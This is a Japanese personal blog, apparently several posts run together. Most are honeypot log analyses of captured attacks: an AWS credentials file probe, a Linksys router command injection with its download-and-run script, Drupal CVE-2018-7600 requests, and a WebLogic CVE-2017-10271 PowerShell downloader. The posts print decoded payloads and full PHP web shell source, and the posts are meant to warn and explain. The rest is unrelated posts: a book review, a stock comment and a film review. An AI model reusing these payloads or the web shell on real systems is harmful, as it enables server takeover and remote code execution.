シンプルだけど怖い!AWS認証情報を取得しようとするリクエスト
4月の中旬くらいからGlastopfを使用したハニーポットを構築し、定期的にログをウォッチしているのですが、珍しめのログをご紹介したいと思います。
1週間に1件くらいの頻度ですが、下記のアクセスが僕のハニーポットにきます。
GET /.aws/credentials HTTP/1.0
単純なGETリクエストなのですが、リクエストしているファイルがやばいです。
/.aws/credentialsになっているので、AWS 認証プロファイルファイルを参照するようなリクエストになっています。
単純で全然手の込んでいないシンプルなリクエストですが、その威力は絶大です。
だって、AWS 認証プロファイルファイルに含まれるaws_access_key_idやaws_secret_access_keyを盗まれてしまった場合、AWS環境が乗っ取られてしまい、なんでもできる状態になってしまいます。
本来、公開してはいけないディレクトリを公開設定にしてしまったり、公開しているディレクトリにAWS 認証プロファイルファイルを配置してしまったりといった設定ミス、オペレーションミスが原因となって閲覧できるような状態になってしまうことがあるようです。(実際に攻撃ログが来ているということは、少なからずそういったユーザーがいるということです。)
AWSを利用されていて、Webサーバを公開しているようなシステム、サービスを構築している方は、ご自身のサーバが問題ないかリクエストを投げてみてチェックしみてはいかがでしょうか。
http://【自分のドメイン】/.aws/credentials
または、
https://【自分のドメイン】/.aws/credentials
僕も以前、原因は忘れてしまったのですが、自分のAWS環境を乗っ取られて、不明なEC2を立てられたことがあるので、みなさんもご注意ください。
特にいっぱいEC2を立てていたりすると、その中に1個くらい不審なサーバが立っていても分からなかったりするので。。。
関連記事
ネットワーク機器に対する攻撃例の紹介記事です。 saito.hatenadiary.com
少し前まで流行っているDrupalを狙った攻撃の紹介記事です。 最近は少なくなってきましたが、まだまだアクセスはきています。 saito.hatenadiary.com
WebLogicを狙った攻撃の例です。 POSTリクエストの中身が面白かったです。 saito.hatenadiary.com
【書評】学びが多いイケダハヤトさんの『武器としての書く技術』
ブログをやっていて書くことに対して、まだまだ抵抗があったり、億劫になってしまう自分がいたので、書くことに抵抗をなくしたいと思い、イケダハヤトさんの『武器としての書く技術』を読みました。
- 作者: イケダハヤト
- 出版社/メーカー: KADOKAWA / 中経出版
- 発売日: 2013/06/27
- メディア: Kindle版
- この商品を含むブログ (3件) を見る
文章を書くということに少なからず抵抗があった僕にとっては非常に有意義な一冊となりましたので、備忘の意味も含めて、一部ご紹介したいと思います。
スピード感が大事
この本でイケダハヤトさんはこれからの時代スピード感は大事と主張しています。
ウェブ時代のお客さんは暇ではありません。仕事も忙しいですし、常に無数の情報にさらされてもいます。文章に飢えている人など皆無です。少しでも読む価値がないと判断されれば、あなたの文章などには目もくれません。 そこで、これからの文章術にはスピードが求められます。伝えたいことをパッと作成し、ポンと提供する。もし、届かなければ、また新たな文章を作成し、提供する。その繰り返しが大切なのです。 イケダハヤト.武器としての書く技術(中経出版)..Kindle版.
確かにスピード感が大事なのはわかっているんだよ。できる限り新鮮な状態で消費者にお届けすることの大切さはわかっていても、それをなかなか行動に移すことが難しいんだよ。
スピード感を出すために記事の執筆に時間をかけない
僕はブログの記事を書くのに1時間以上かけてしまうことなんてしょっちゅうあります。
そんな僕に衝撃の言葉がこの本には書かれていました。
ぼくは一つの記事の執筆時間の目安を15分以内にとどめています。まとめ記事を書くときなどは1~2時間かけますが、原則は15分以内です。ふとした空き時間にサクッと書けるようになれば、それだけ書くことも継続しやすくなるのです。 机を整え、お茶とお茶菓子を用意し、どっしりと腰を落ち着け「よし、今日は頑張って書くぞ!」とやってるうちは、続かないわけです。もっと気軽に、「ちょっと昼飯早く食べ終わったから、今のうちに書いておくか」「ミーティングまで空き時間が20分あるから、あの本の感想をサクッと書いておこう」という具合に、フットワーク軽く取りかかれるようになって初めて、ブログは継続します。 イケダハヤト.武器としての書く技術(中経出版)(pp.94-95)..Kindle版.
まじかよ。。。
イケダハヤトさん15分以内で書いてるのかよ。 たしかに、重い腰をあげてブログ記事を書くというスタイルで、僕はこれまでやってきましたが、それでは長く続かない気がしていました。
息をするかのように記事を書く。
これができるようになれば、僕の書くという行為に抱いている抵抗感というものはなくなります。
もっとスピードを意識して書かないとダメだと一喝されたような気分でした。
さすがに15分は僕にはまだまだ早いかもしれませんが、とにかくスピードを意識して日々書き続けることの大切さを学んだ一冊でした。 (この記事は10分くらいで書いてみました!笑)
他にもマネタイズのこととか、文章の書き方のこととか、ネタ探しのこととかブログを書く人には重要なエッセンスが詰まっている一冊となっているので、おすすめです!
フェイスブックの出会い系参入でマッチ・グループ株暴落と思うじゃん?意外と買い時かも
今朝起き、何気なく株価をチェックしていたら僕の所有するマッチ・グループの株価が22%も下落しているのに気がつきました。
何が起こったかと思って調べてみると、どうやらフェイスブックが出会い系サービスを展開すると発表したことに嫌気をさし、急激な売りが発生した模様でした。
たしかにフェイスブックは毎日14億人以上が利用する超巨大SNSサービスを展開しており、ティンダーなど出会い系サービスを展開するマッチ・グループからすると、真正面から衝突した場合、かなりの大打撃となります。
ティンダーが終わると主張するメディアもある中で、フェイスブックの利用者の半数以上が35歳以上であるということを踏まえるとティンダーとは違った市場を狙っているという主張もあり、現段階ではなんとも言えない状況となっています。
現時点で僕はマッチ・グループの長期的な利益には影響しないと考えています。
ティンダーはゲーム感覚、フェイスブックはリアルな出会い
ティンダーはアプリ内でスワイプして、自分の好みの人をゲーム感覚で選んでいくのに対し、フェイスブックでは単なる一夜限りでない、現実的で長期的な関係性を重視した機能を年内に組み込むということを主張している。
現状のティンダーの人気を踏まえると、フェイスブックの長期的な関係を持ちたいと思うユーザーがどれだけいるかは、今後慎重に見極めていく必要がある。
ティンダーはどちらかと言うと、一夜だけの人を見つけたいユーザーや気の合いそうなユーザーをたくさん見つけたいユーザーにとっては有益だが、今回のフェイスブックの出会い機能は専用のプロフィールを作成し、出会い機能をオンにしたユーザーの中で、参加するイベントや興味、趣味、関心などをもとに引き合わせるという形を採用するということで、ティンダーとは異なる利用方法になる。
たしかに今回のフェイスブックの新機能は、かなり魅力的でティンダーとは違った楽しみ方がもたらされるかもしれないが、必ずしもそれはティンダーといった出会い系サービスのユーザーを奪うことにはならない。
僕だったら、ティンダーも利用しつつ、フェイスブックの出会い機能も使用するという両刀使いで出会いを楽しむと思います。
ということで、今回のマッチ・グループの株価下落は一時的なもので、長期的には引き続き成長していく思いますが、資金が微妙なので、今回買い増すのは見逃したいと思います。
マッチ・グループの株を持っていて、どうしても今回のフェイスブックのニュースが脅威と感じる人はフェイスブック株を購入することでヘッジするのもありです。
とはいっても、フェイスブックが提供する出会い機能については、未確定な部分が多いので、慎重に見守っていきたいと思います。
関連記事
【映画】キャラがかっこよすぎ!『マイティ・ソー バトルロイヤル』の感想
『アベンジャーズ/インフィニティウォー』が公開されたので、最近関連映画を鬼のように鑑賞しまくっているのですが、今回は『マイティ・ソー バトルロイヤル』を観たので、その感想です。
- 発売日: 2018/01/10
- メディア: Amazonビデオ
- この商品を含むブログを見る
死を司る女神ヘラがアスガルドを征服して、その他の世界も征服しようとするところをソーさんがそれを防ぐという、ざっくりと言うとそんな感じの映画なのですが、僕が印象に残ったところをいくつか紹介します。
女戦士が美人で超強い
映画の途中で地球からアスガルドへ移動するワープ?みたいなやつの中で、死の神ヘラさんに吹っ飛ばされ、ゴミ溜みたいな星に行き着くのですが、そこでソーを捕らえ支配者に売り飛ばした元女戦士のヴァルキリーが強くてかっこいいし、美人なのがよかったです。
特に最後の方で、ソーの仲間になり、ヘラと戦うシーンの中で、宇宙船から大勢の敵に向かって、颯爽と歩く姿がかっこいいし、美人だし堪らなかったです。
(画像引用:マイティ・ソー バトルロイヤル | 記憶のための映画メモ)
調べてみたところ、ヴァルキリーを演じているのは、アメリカ女優のテッサ・トンプソンさんという方で、『HEROES』や『クリード チャンプを継ぐ男』にも出演している方でした。
心も体も強いヴァルキリーは、男性である僕から見ても非常に憧れます。
死の神も美人で超強い
ヴァルキリーもかっこ良いのですが、死の神はそれをも上回る強さだし、美人なのが男性目線では、とてもよかったです。
強さに関しては、ソーのムジョルニアを握力で粉々にするくらい強いです。
また、ルックスもヴァルキリーとは違った透き通った美しさが映画の中ではとても際立っていました。 個人的には、戦闘時に装着する兜?みたいなものを着けておらず、長髪を下ろしているヘラがとても好きです。
こちらを演じているのは、オーストラリア出身のケイト・ブランシェットさんです。 ケイトさんは『ロード・オブ・ザ・リング』や『アビエイター』など多く映画にも出演していて、アカデミー賞など多くの賞も受賞している大物女優さんです。
今後も『オーシャンズ11』をオール女性キャストでリブートした『オーシャンズ8』にも出演しているとのことですので、オーシャンズシリーズが好きな僕にとっては、待ちきれない思いです。
ソーが覚醒したときの挿入曲がカッコいい
ヴァルキリーもヘラもかっこいいのですが、この映画の中で最もかっこいいと感じたシーンはソーがヘラにコテンパンにやられて、もうダメだというときに雷を身にまとい覚醒し、大勢の敵に向かっていくシーンです。
このときに使用されている曲がレッド・ツェッペリンの『Immigrant Song』で、とてもシーンとマッチしていて興奮しました。
あとから知ったのですが、『Immigrant Song』は『移民の歌』ということで、今回の映画でソーが父から学んだ「アスガルドは土地ではなく民である」という考えともマッチしていて、このあたりも巧みだと感じました。
歌詞の中にThe hammer of the gods(神々のハンマー)というフレーズが出てくるところもソーに当てはまっていて、興奮しました。
全体的に爽快感のある映画で、かっこいいシーンが多かったので、また機会があれば見たいと思います。
Cisco Linksys E-seriesを狙ったような攻撃をキャッチ
CiscoのLinksys E-seriesを狙ったような攻撃をキャッチしたので、ご紹介します。
CiscoのLinksys E-seriesとは
Ciscoから販売されている自宅用のワイヤレスルータのようです。
今回の攻撃
POST /hndUnblock.cgi HTTP/1.1 Accept: */* Content-Length: 384 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX User-Agent: Wget(linux) submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `%63%64%20%2F%74%6D%70%3B%72%6D%20%2D%66%20%6E%6D%6C%74%31%2E%73%68%3B%77%67%65%74%20%2D%4F%20%6E%6D%6C%74%31%2E%7・・・`&StartEPI=1
hndUnblock.cgiに対して、POSTリクエストが投げられているので、Cisco Linksys E-seriesを狙ったアタックのように推測しています。(情報が少なかったので、間違っている可能性はあります。)
BODY部分がURLエンコードされているので、実際はどんな処理をされているのか、これを見ただけでは判断できないので、早速デコード処理をしてみたいと思います。
すると、
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh http://XXXXXX/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh`&StartEPI=1
こんな感じになりました。
まず/tmpに移動して、そこでnmlt1.shをダウンロードし、実行権限を付与してから、実行するという処理になっています。
nmlt1.shは何者なのか調べてみたところ、下記のような内容になっていました。
#!/bin/sh cd /tmp ps | grep -v grep | grep .nttpd && exit 0 rm -f .nttpd wget -O .nttpd http://XXXXXX/.nttpd,21-mips-le-t1 chmod +x .nttpd ./.nttpd && exit 0 rm -f .nttpd .nttpd-z wget -O .nttpd-z http:/XXXXXX/.nttpd,21-arm-le-t1-z chmod +x .nttpd-z ./.nttpd-z && exit 0 rm -f .nttpd .nttpd-z wget -O .nttpd-z http://XXXXXX/.nttpd,21-mips-be-t2-z chmod +x .nttpd-z ./.nttpd-z && exit 0
3つダウンロードファイルがあるのですが、それぞれダウンロードしてから実行して次のファイルをダウンロードして実行するという動きになっています。
それぞれのファイルが何かfileコマンドを使って調べて見たところ、どれも実行ファイルのようでした。 3つ目のダウンロードコマンドは2つ目のファイルを上書きするようなコマンドになりますが、それぞれサイズが違うので中身は違う実行ファイルのようでした。
-rw-rw-r-- 1 ubuntu ubuntu 50156 Nov 10 13:55 .nttpdh ←1つ目のファイル -rw-rw-r-- 1 ubuntu ubuntu 37583 Nov 10 14:20 .nttpd-z←2つ目のファイル -rw-rw-r-- 1 ubuntu ubuntu 44736 Nov 10 14:13 .nttpd-z←3つ目のファイル
1つ目のファイル
$ file .nttpd .nttpd: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped $ md5sum .nttpd 057d56b7de1e9460bd13c5c6eafd4559 .nttpd
2つ目のファイル
$ file .nttpd-z .nttpd-z: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped $ md5sum .nttpd-z 20f9f7ae0c6d385b0bedcdd618c478dc .nttpd-z
3つ目のファイル
$ file .nttpd-z .nttpd-z: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), stripped $ md5sum .nttpd-z 53494b8867654d06ea1b5aec0ed981c1 .nttpd-z
これらのファイルを実行するのは危険なので、stringsコマンドを使用して1つ目のファイル(.nttpd)の可読部分だけ確認してみたところ、一部下記のような記述が見受けられました。
INPUT -s XXX.XXX.XXX.0/24 -j ACCEPT INPUT -s YYY.YYY.YYY.0/24 -j ACCEPT INPUT -s ZZZ.ZZZ.ZZZ.0/24 -j ACCEPT
特定のIPアドレスから接続を許可するような設定を行うような記述と思われますので、上記のファイルが実行されてしまった場合は、これらのIPアドレスから操作を可能にするようなファイルと推定されます。
怖いですね。。。
Drupal の脆弱性(CVE-2018-7600)の攻撃例
先日ご紹介したDrupalの脆弱性を狙ったアタックの具体的な攻撃例をご紹介します。
今回僕のハニーポットに来ていた攻撃のアクセスは3種類あり、どれもphpファイルを配置するような動きを行う処理でした。
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 183 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=curl+-o+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 183 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget+-O+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 2055 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=echo+%22PD9waHAgZXZhbChnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ3JVbDZZdHMyRVA2OEFQa1BESFJBTmszTGRvY0JVaElaQzI5c0RiYlltWEx2aXhNSXNsSGJlU1JFSUttNFhwRC8zanRGOGxpVGMzWkVJMEJ4M3ZQY1BmZWlvNW1VVDRhU0ZVOTNuaStheDYzVHd3TStKODBqcmhUVHpWTVkrRTVqT1J4Wm5VejBLYnBtWVZ1dFh4NE9EeHIzWEdRZGl6TFh4Q1BIUUhlczJBd2VrVEQ2MXg5YTZjZngrRHI4T0F6RzlCYk5QUCswZEI3NS8xbjhZQnhCVTVjV01CUEpHaEEwVnlLeWp2SUZBUWFMTmJuSjBUWHlLY0pITkhUWlpNSUErZ2ZQYkxnQWxRNGVocGxWbUxQUnZ3RzJ5RkJRc2JpVVhLL0JmV1BlOThPcmJzOEhCOE4rbjU0K0hoNndSN0VYUXdNQW1kQlpGbGx0RUdRcGxKNnQ4eWh3elZwVGp2MGZudmR0SXloR2xUTzcwMCtDazJLUlUvN1ZZK3p2a3A1SHZDcndTZWNUeEpzM1V5Q2ZOK3V1L2VtUHAwR2NpcHh1eDdCdVY1UXljN3N0WTRLTDBlWDFPT3hmL3UwUHpxOTh4N1FoYmxkbTRucEV2ZUhGNU1vZmpNUFJZemhwWVYzYVRCVjZuc2QyQ1VOOFNUd3JSZVlXeXdJYkpKbk4wTVo3V0t6RGxsc ・・・+%7C+base64+-d+%7C+tee+t6nv.php
phpファイルの中身はどんなものかというと 、こんな感じです。
<?php eval(gzinflate(str_rot13(base64_decode('rUl6Yts2EP68APkPDHRANk3LdocBUhIZC29sDbbYmXLvixMIslHbeSREIKm4XpD/3jtF8liTc3ZEI0Bx3vPcPfeio5mUT4aSFU93ni+ax63TwwM+J80jrhTTzVMY+E5jORxZnUz0KbpmYVutXx4ODxr3XGQdizLXxCPHQHes2AwekTD61x9a6cfx+Dr8OAzG9BbNPP+0dB75/1n8YBxBU5cWMBPJGhA0VyKyjvIFAQaLNbnJ0TXyKcJHNHTZZMIA+gfPbLgAlQ4ehplVmLPRvwG2yFBQsbiUXK/BfWPe98Orbs8HB8N+n54+Hh6wR7EXQwMAmdBZFlltEGQplJ6t8yhwzVpTjv0fnvdtIyhGlTO700+Ck2KRU/7VY+zvkp5HvCrwSecTxJs3UyCfN+uu/emPp0Gcipxux7BuV5Qyc7stY4KL0eX1OOxf/u0Pzq98x7Qhbldm4npEveHF5MofjMPRYzhpYV3aTBV6nsd2CUN8STwrReYWywIbJJnN0MZ7WKzDllrgJ2nv5EjdO7HdA0O8FISe.・・・')))); ?>
Base 64でエンコードされていて、ROT13変換で暗号化処理されていて、deflate圧縮されていて、最後にevalで実行処理がされていますが、どんな処理が動いているのか、これだとわかりません。。。
そこで、evalの箇所をechoに変更して実行してみると、こんなphpの処理が実行されていることが判明しました。
error_reporting(0); if (!isset($_SESSION['bajak'])) { $visitcount = 0; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "ada yang inject \n$web$inj"; $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE = OFF";} else {$security= "SAFE_MODE = ON";}; $serper=gethostbyname($_SERVER['SERVER_ADDR']); $injektor = gethostbyname($_SERVER['REMOTE_ADDR']); $_SESSION['bajak'] = 0; } else {$_SESSION['bajak']++;}; if(isset($_GET['clone'])){ $source = $_SERVER['SCRIPT_FILENAME']; $desti =$_SERVER['DOCUMENT_ROOT']."/wp-includes/wp-simple.php"; rename($source, $desti); } $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE : OFF";} else {$security= "SAFE_MODE : ON";} echo "<title>UnKnown - Simple Shell</title><br>"; echo "<font size=2 color=#888888><b>".$security."</b><br>"; $cur_user="(".get_current_user().")"; echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>"; echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>"; function pwd() { $cwd = getcwd(); if($u=strrpos($cwd,'/')){ if($u!=strlen($cwd)-1){ return $cwd.'/';} else{return $cwd;}; } elseif($u=strrpos($cwd,'\\')){ if($u!=strlen($cwd)-1){ return $cwd.'\\';} else{return $cwd;}; }; } echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>'; echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>'; if(isset($_POST['submit'])){ $uploaddir = pwd(); if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];}; move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name); if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){ echo "Upload Failed"; } else { echo "Upload Success to ".$uploaddir.$name." :D "; } } if(isset($_POST['command'])){ $cmd = $_POST['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>"; } elseif(isset($_GET['cmd'])){ $comd = $_GET['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>"; } elseif(isset($_GET['rf'])){ $rf = file_get_contents("../../configuration.php"); echo $rf; } else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
これを見るとなんと任意のファイルをアップロードして、任意のコマンドを実行できるPHPファイルであることが分かります。 PHPが動いているサーバを乗っ取るようなファイルであることが分かります。
このファイルが実行されていると思われる外部のサーバを見つけたので、画面サンプルとして紹介します。
攻撃者は、この画面を利用してファイルをアップロードしたり、コマンドを実行したりするものと思われます。
怖いですねー。。。
WebLogic の脆弱性(CVE-2017-10271)を狙った攻撃をキャッチ
古い脆弱性ですが、面白い攻撃ログを僕のハニハニちゃんがキャッチしたので、ご紹介します。
キャッチしたログはこんな感じです。
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Connection: Close Content-Length: 1214 Content-Type: text/xml Host: XXX.XXX.XXX.XXX:80 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd.exe</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>Start PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQ・・・・・ </string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
”/wls-wsat/CoordinatorPortType”から始まるPOSTリクエストなので、これは明らかにWebLogic の脆弱性(CVE-2017-10271)を狙った攻撃で2017年10月に公表されているもので、割と古めの攻撃だと思うのですが、PoweShellを実行させるような処理になっていて、Windowsサーバを狙ったような攻撃になります。
JVNDB-2017-008734 - JVN iPedia - 脆弱性対策情報データベース
これの何が面白いかと言うと、下記の部分です。(一部を省略しています。)
<string>Start PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQ・・・・・ </string>
ただこれだけ見ると、ふむふむPowerShellで何かを実行させようとしているなぐらいしか分からないのですが、PowerShellのオプションの「-E」以降の部分が、Base 64 エンコードされていて一見ただの複雑な文字列のように見えるところが、攻撃者のセンスを感じます。
そもそもPowerShellの「-E」というオプションを使って、なぜBase 64にエンコードした文字列を使うかというと、
Base 64 エンコード文字列版のコマンドを許可します。 複雑な引用符や中かっこを必要とするコマンドを PowerShell に渡す場合にこのパラメーターを使用します。 PowerShell.exe コマンドラインのヘルプ | Microsoft Docs
ということで、確かにプログラミングをしていると何かと引用符やかっこの扱いに困るときがあります。
本来はそういった複雑なコマンドをPowerShellに渡すために利用するこの「-E」というオプションを使用し、本来実行したいコマンドを隠蔽するというところに攻撃者のセンスを感じたわけです。
そういうことで、この一見訳のわからない文字列をデコード処理してみようと思います。
データ変換ツール(BASE64, URLエンコード(URLデコード), HEX(16進ダンプ), MD5, SHA-1変換フォーム)
うまくデコードできました!
デコードして出てきたコードがこちらです。
$OS=(Get-WmiObject Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers.Add('User-Agent',"PowerShell/WL $OS");IEX $WC.DownloadString('http://XXX.XXX.XXX.XXX/images/test/DL.php');
コードを解説すると、
- まずOSの情報を取得して変数に格納 $OS=(Get-WmiObject Win32_OperatingSystem).Caption
- WebClient クラスのオブクジェクトを生成 $WC=New-Object Net.WebClient
- 2で作成した変数にUser-Agentと1で取得したOS情報を格納 $WC.Headers.Add('User-Agent',"PowerShell/WL $OS")
- 最後にPowerShellからDL.phpをダウンロード IEX $WC.DownloadString('http://XXX.XXX.XXX.XXX/images/test/DL.php')
こんな感じです。(あんまりWindows詳しくないので、間違っている気がします。)
試しに最後のphpファイルのダウンロードをしてみましたが、404が返ってきました。
$ wget http://XXX.XXX.XXX.XXX/images/test/DL.php ---- http://XXX.XXX.XXX.XXX/images/test/DL.php Connecting to XXX.XXX.XXX.XXX:80... connected. HTTP request sent, awaiting response... 404 Not Found ERROR 404: Not Found.
実際にブラウザで確認するとこんな画面でした。
IPアドレスを調べてみると中国のある組織が管理しているIPアドレスでした。
しかもIPアドレスのみでURLを叩くと、中国語のログインページが表示されましたので、おそらくこの組織のサーバが乗っ取られているものと思われます。
しかも日本語で404を表示させているということは、少なくとも日本向けに攻撃を仕掛けているものと思われます。
今日はこの辺で!
WebLogicを使っている方は対処が完了しているか確認を!!!